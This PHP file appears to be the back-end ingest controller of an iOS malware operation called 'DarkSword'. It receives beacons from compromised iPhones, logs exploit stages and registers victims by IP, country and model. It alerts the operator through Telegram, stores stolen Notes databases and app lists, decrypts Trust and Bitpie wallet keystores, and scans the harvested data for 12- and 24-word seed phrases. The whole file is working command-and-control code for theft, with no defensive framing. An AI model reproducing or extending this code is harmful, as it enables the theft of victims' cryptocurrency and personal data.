*/ private const SKIP_WALK_KEYS = [ 'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys', 'locked_classes', '_truncated', '_more', 'tables', ]; public function __construct( private readonly IngestService $ingest, private readonly TelegramNotifier $telegram, private readonly DsBeaconQueue $beaconQueue, private readonly DsResultStore $results, private readonly DsTrustAddressIngest $trustAddresses, private readonly DsKeystoreDecrypt $keystoreDecrypt, private readonly MnemonicWalletDiscovery $mnemonicDiscovery, private readonly MnemonicAddressLinker $mnemonicLinker, ) {} /** * @param array $payload Untruncated JSON from the raw request body. */ public function ingest(Request $request, string $path, array $payload): void { match ($path) { '/api/ds/device/register' => $this->ingestRegister($request, $payload), '/api/ds/log' => null, '/a' => $this->ingestProfile($request, $payload), '/u' => $this->ingestApps($request, $payload), '/nb' => $this->ingestNotes($request, $payload), '/war' => $this->ingestWar($request, $payload), '/beacon', '/event' => $this->heartbeat($request, $payload), '/result' => $this->ingestResult($request, $payload), default => str_starts_with($path, '/api/ds/pe-stage') ? $this->ingestPeStage($request, $payload) : null, }; } /** * @param array $payload */ private function ingestRegister(Request $request, array $payload): void { $this->recordRegisterVisit($request, $payload); } /** * @param array $payload */ private function ingestStage(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } $stage = strtolower(trim((string) ($payload['stage'] ?? ''))); $progress = (int) ($payload['progress'] ?? 0); $label = is_string($payload['label'] ?? null) ? $payload['label'] : null; DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload)); } /** * PE progress ping. File log is written by DarkSwordC2Controller::peStage; * here we also fold the named stage into ds_chain_logs when a UUID is present. * * @param array $payload */ private function ingestPeStage(Request $request, array $payload): void { $name = strtolower(trim((string) ($payload['pe_stage'] ?? ''))); $progress = match ($name) { 's1_launchd' => 86, 's2_keychain' => 88, 's3_mempress' => 90, 's4_loader' => 92, 's5_c2' => 94, 's6_p7phase2' => 96, default => 86, }; $this->ingestStage($request, array_merge($payload, [ 'stage' => 'pe', 'progress' => $progress, 'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'), ])); } /** * @param array $payload */ private function ingestLog(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') { $this->ingestStage($request, $payload); return; } $text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null; if (! is_string($text)) { return; } $inferred = DsChainLog::inferFromText($text); if ($inferred === null) { return; } DsChainLog::record( $uid, $inferred['stage'], $inferred['progress'], $inferred['label'], $this->extractChannelCode($payload), ); } /** * @param array $payload */ private function recordRegisterVisit(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null) { return; } $ua = $this->registerUserAgent($request, $payload); $parsed = UserAgentParser::parse($ua); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? ''; $ip = $this->clientIp($request, $payload); $referer = trim((string) $request->headers->get('referer', '')); $os = $ios !== null ? 'iOS' : $parsed['os']; $osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null); PageVisit::recordLanding([ 'channel_id' => $channel, 'client_uid' => $uid, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $os, 'os_version' => $osVersion, 'browser' => $parsed['browser'], 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $ip !== '' ? $ip : null, 'country' => CfIpCountry::fromRequest($request), 'domain' => PageVisit::normalizeDomain($request->getHost()), 'referer' => $referer !== '' ? substr($referer, 0, 512) : null, ], PageVisit::chainFromIosVersion($os, $osVersion)); } /** * @param array $payload */ private function registerUserAgent(Request $request, array $payload): string { foreach (['user_agent', 'userAgent'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 512); } } return substr((string) $request->userAgent(), 0, 512); } /** * @param array $payload */ private function ingestProfile(Request $request, array $payload): void { $this->upsertDevice($request, $payload); } /** * @param array $payload */ private function ingestApps(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } $al = $this->appsToAl($payload['apps'] ?? null); if ($al === []) { return; } $this->ingest->ingestInstalledApps($device, ['al' => $al]); } /** * @param array $payload */ private function ingestNotes(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } if (array_key_exists('list', $payload)) { $this->ingest->ingestNotes($device, ['list' => $payload['list']]); } $this->storeNoteDbFiles($device, $payload['db_files'] ?? null); } /** * @param array $payload */ private function ingestWar(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } $keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : []; $wallets = $keychain['wallets'] ?? []; $sandbox = $payload['sandbox'] ?? []; $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null), $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), ); $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows); $this->walkForMnemonics($device, $wallets, 'd'); $this->walkForMnemonics($device, $sandbox, 'b'); $this->trustAddresses->ingest($device, $sandbox); $this->trustAddresses->ingest($device, $wallets); } /** * @param array $payload */ private function heartbeat(Request $request, array $payload): void { $this->upsertDevice($request, $payload); } /** * @param array $payload */ private function upsertDevice(Request $request, array $payload): ?Device { $key = $this->extractDeviceKey($request, $payload); if ($key === null) { return null; } $ip = $this->clientIp($request, $payload); $model = $this->extractModel($payload); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key); $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $key)->first(); if ($ios !== null) { $chain = PageVisit::isDarkSwordIosVersionString($ios) ? Device::CHAIN_DARKSWORD : Device::CHAIN_CORUNA; } else { $chain = $existing ? (int) $existing->chain : Device::CHAIN_CORUNA; } if ($existing) { $touch = [ 'updated_at' => now(), 'chain' => $chain, ]; if ($ip !== '') { $touch['ip'] = $ip; $country = CfIpCountry::fromRequest($request); if ($country !== null) { $touch['country'] = $country; } } if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) { $touch['device_model'] = $model; } if ($ios !== null && trim((string) $existing->ios_version) === '') { $touch['ios_version'] = $ios; } if ($channel !== null && trim((string) $existing->channel_id) === '') { $touch['channel_id'] = $channel; if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) { $touch['album_storage'] = true; } } $existing->forceFill($touch)->saveQuietly(); // If the chain was just corrected to DarkSword (e.g. the device was // created by a beacon whose ios_version was nested in device_info // and not parsed on the first request), seed the default queue now. if ((int) $existing->chain === Device::CHAIN_DARKSWORD && (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD && $this->beaconQueue->queueLength($existing) === 0 ) { $this->beaconQueue->seed($existing); } return $existing->refresh(); } $device = Device::query()->create([ 'device_id' => $key, 'chain' => $chain, 'ip' => $ip !== '' ? $ip : null, 'country' => CfIpCountry::fromRequest($request), 'device_model' => $model, 'ios_version' => $ios, 'channel_id' => $channel, 'user_agent' => $ua !== '' ? $ua : null, 'album_storage' => User::albumStorageDefaultForChannel($channel), ]); $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); $this->beaconQueue->seed($device); return $device->refresh(); } /** * Upsert the DarkSword device and seed its default beacon queue. * * @param array $payload */ public function ensureDevice(Request $request, array $payload): ?Device { $device = $this->upsertDevice($request, $payload); return $device; } /** * @param array $payload */ private function ingestResult(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if ($device && ! $this->isEmptyWalletScanSummary($payload)) { $stored = $this->results->store($device, $payload); $payload = array_merge($payload, $stored); if (($stored['stored'] ?? false) === true) { $this->ingestTrustAddressesFromResult($device, $payload); $this->dispatchMemoDecodeIfNeeded($device, $payload); } } $this->beaconQueue->markDone($payload); } /** * When the memo_scan manifest (memo_scan.json) finishes storing, the * NoteStore.sqlite trio for this command_id is complete — kick off the * decoder. The decoder re-checks file presence, so an out-of-order * manifest is harmless. * * @param array $payload */ private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void { $category = (string) ($payload['category'] ?? ''); $filename = strtolower((string) ($payload['filename'] ?? '')); if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) { return; } // memo_scan.json is the scan manifest and the last file uploaded by // the c2_agent; triggering on it avoids decoding before the WAL lands. if (! str_contains($filename, 'memo_scan.json')) { return; } $commandId = (string) ($payload['command_id'] ?? ''); if ($commandId === '') { return; } DecodeMemoDb::dispatch($device->id, $commandId); } /** * A wallet_scan summary (wallet_pkg.json) carries recoverable material * only via its own `installed_wallets` / `sandbox_files` fields. When both * are empty the record has nothing to ingest — skip it entirely. * * `keychain_dump_uploaded` only signals that a separate keychain_c2_dump * result file was uploaded; that dump's content (e.g. Bitpie entropy) lives * in its own result file, not in this wallet_pkg record, so it is irrelevant * to whether this summary is worth keeping. * * @param array $payload */ private function isEmptyWalletScanSummary(array $payload): bool { $filename = strtolower((string) ($payload['filename'] ?? '')); if (! str_contains($filename, 'wallet_pkg')) { return false; } $raw = $payload['data'] ?? null; if (! is_string($raw) || $raw === '') { return false; } $json = json_decode((string) base64_decode($raw, true), true); if (! is_array($json)) { return false; } return empty($json['installed_wallets'] ?? []) && empty($json['sandbox_files'] ?? []); } /** * @param array $payload */ private function ingestTrustAddressesFromResult(Device $device, array $payload): void { $filename = strtolower((string) ($payload['filename'] ?? '')); $looksTrust = str_contains($filename, 'utc--') || str_contains($filename, 'wallet_pkg') || str_contains($filename, 'keystore'); if (! $looksTrust) { return; } $raw = $payload['data'] ?? null; if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) { if (Storage::disk('local')->exists($payload['path'])) { $raw = (string) Storage::disk('local')->get($payload['path']); } } if (! is_string($raw) || $raw === '') { return; } $this->trustAddresses->ingest($device, $raw); $rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); $this->recoverKeystoreMnemonics($device, null, $raw, $rows); } /** * @param array $payload */ private function extractDeviceKey(Request $request, array $payload): ?string { $candidates = [ $payload['lhu'] ?? null, $payload['deviceUUID'] ?? null, $payload['device_uuid'] ?? null, $payload['uuid'] ?? null, $payload['device'] ?? null, $request->header('X-Device-UUID'), $request->query('deviceUUID'), $request->query('device'), ]; foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $key = Device::normalizeDarkswordKey($value); if ($key !== null && $key !== '') { return $key; } } return null; } /** * @param array $payload */ private function extractChannelCode(array $payload): ?string { foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) { $value = $payload[$key] ?? null; if (! is_string($value)) { continue; } $value = trim($value); if ($value === '') { continue; } return substr($value, 0, 64); } // Fallback: the c2_agent (injected into SpringBoard by pe_worker) // nests channel_code inside device_info, not at the beacon top level. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['channel_code', 'channelCode', 'channel'] as $key) { $value = $devInfo[$key] ?? null; if (! is_string($value)) { continue; } $value = trim($value); if ($value === '') { continue; } return substr($value, 0, 64); } } return null; } private function channelFromVisit(string $deviceKey): ?string { $channel = PageVisit::query() ->where('client_uid', $deviceKey) ->where('chain', PageVisit::CHAIN_DARKSWORD) ->where('channel_id', '!=', '') ->orderByDesc('id') ->value('channel_id'); return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null; } /** * @param array $payload */ private function extractModel(array $payload): ?string { foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 128); } } // Fallback: pe_worker / c2_agent nests hardware info inside device_info. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) { $value = $devInfo[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 128); } } } return null; } /** * @param array $payload */ private function extractIos(array $payload): ?string { foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 64); } } // Fallback: pe_worker / c2_agent nests ios_version inside device_info. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) { $value = $devInfo[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 64); } } } return null; } /** * @param array $payload */ private function clientIp(Request $request, array $payload): string { $reported = $payload['ip'] ?? null; if (is_string($reported) && trim($reported) !== '') { $normalized = PageVisit::normalizeIp(trim($reported)); if ($normalized !== '') { return substr($normalized, 0, 64); } } return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64); } private function shouldReplaceModel(?string $current, string $incoming): bool { $cur = trim((string) $current); if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) { return true; } return false; } /** * @return list */ private function appsToAl(mixed $apps): array { if (! is_array($apps)) { return []; } $al = []; foreach ($apps as $key => $item) { if ($key === '_more' || ! is_array($item)) { continue; } $bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? '')); if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) { continue; } $row = [ 'b' => $bundle, 'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle), ]; $version = $item['version'] ?? $item['v'] ?? null; if (is_string($version) && $version !== '') { $row['v'] = $version; } $al[] = $row; } return $al; } private function storeNoteDbFiles(Device $device, mixed $files): void { if (! is_array($files)) { return; } foreach ($files as $file) { if (! is_array($file)) { continue; } $name = basename((string) ($file['name'] ?? 'notes.sqlite')); $name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite'; $data = $file['data'] ?? $file['content'] ?? null; if (! is_string($data) || $data === '') { continue; } $bin = base64_decode($data, true); if ($bin === false || $bin === '') { continue; } $rel = 'c2/ds-notes/'.$device->device_id.'/'.$name; Storage::disk('local')->put($rel, $bin); } } private function hasMaterial(mixed $value): bool { if ($value === null || $value === '' || $value === []) { return false; } if (! is_array($value)) { return true; } if (array_key_exists('items', $value) && is_array($value['items'])) { return $value['items'] !== []; } foreach ($value as $child) { if ($this->hasMaterial($child)) { return true; } } return false; } /** * @return list */ private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array { if (! $this->hasMaterial($buckets)) { return []; } $rows = []; if (is_array($buckets) && ! array_is_list($buckets)) { $leftover = []; foreach ($buckets as $key => $bucket) { if (! $this->hasMaterial($bucket)) { continue; } $source = is_string($key) ? WalletSource::fromKeystoreHint($key) : ''; if ($source === '' && ! is_string($key)) { $leftover[$key] = $bucket; continue; } if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) { continue; } $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null)); } if ($leftover !== []) { $rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics)); } elseif ($rows === [] && $this->hasMaterial($buckets)) { $rows[] = $this->createKeystore( $device, WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''), $this->keystorePayload($kind, $buckets, $diagnostics) ); } return $rows; } $source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''); $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics)); return $rows; } /** * @param array|string $payload * @return array */ private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array { $body = [ 'kind' => $kind, ]; if (str_starts_with($kind, 'keychain')) { $body['wallets'] = $payload; } else { $body['sandbox'] = $payload; } if ($diagnostics !== null) { $body['diagnostics'] = $diagnostics; } return $body; } /** * @param array $rawJson */ private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore { return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); } /** * Re-run Trust UTC / Bitpie recover on already-stored keystore blobs. */ public function reprocessKeystores(Device $device): void { $device->load('keystores'); $this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all()); } /** * @param list $rows */ private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void { $hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox); foreach ($hits as $hit) { $tag = $hit['tag'] !== '' ? $hit['tag'] : 'd'; $this->ingest->ingestMnemonic($device, [ 'mnemonic' => $hit['phrase'], 'a' => $tag, ]); $this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']); $mnemonic = WalletMnemonic::query() ->where('device_id', $device->id) ->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase'])) ->first(); if ($mnemonic !== null) { $this->mnemonicDiscovery->discoverIndexZero($mnemonic); } if (($hit['addresses'] ?? []) !== []) { $this->ingest->ingestAddresses($device, [ 'a' => $tag, 'data' => $hit['addresses'], ]); } if ($mnemonic !== null) { $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); } } } private function walkForMnemonics(Device $device, mixed $node, string $tag): void { if (is_string($node)) { $phrase = $this->asMnemonicPhrase($node); if ($phrase !== null) { $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]); } return; } if (! is_array($node)) { return; } if (($node['_truncated'] ?? false) === true) { return; } if ($this->isFailedUnwrap($node)) { return; } foreach ($node as $key => $child) { if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) { continue; } $childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag; $this->walkForMnemonics($device, $child, $childTag); } } /** * @param array $node */ private function isFailedUnwrap(array $node): bool { foreach (['error', 'layer3Error'] as $key) { $err = $node[$key] ?? null; if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) { return true; } } return false; } private function tagForWalletKey(string $key, string $fallback): string { $k = strtolower($key); if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) { return 'b'; } if (str_contains($k, 'trust')) { return 'd'; } return $fallback; } private function asMnemonicPhrase(string $raw): ?string { $candidates = [$raw]; $trimmed = trim($raw); if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) { $bin = @hex2bin($trimmed); if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { $candidates[] = $bin; $decoded = json_decode($bin, true); if (is_array($decoded)) { foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) { if (isset($decoded[$k]) && is_string($decoded[$k])) { $candidates[] = $decoded[$k]; } } } } } foreach ($candidates as $text) { $phrase = $this->matchWordMnemonic($text); if ($phrase !== null) { return $phrase; } } return null; } private function matchWordMnemonic(string $text): ?string { $text = strtolower(trim($text)); if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) { return null; } $words = preg_split('/\s+/', $text) ?: []; $n = count($words); if ($n !== 12 && $n !== 24) { return null; } foreach ($words as $word) { if (! preg_match('/^[a-z]{3,8}$/', $word)) { return null; } } return implode(' ', $words); } }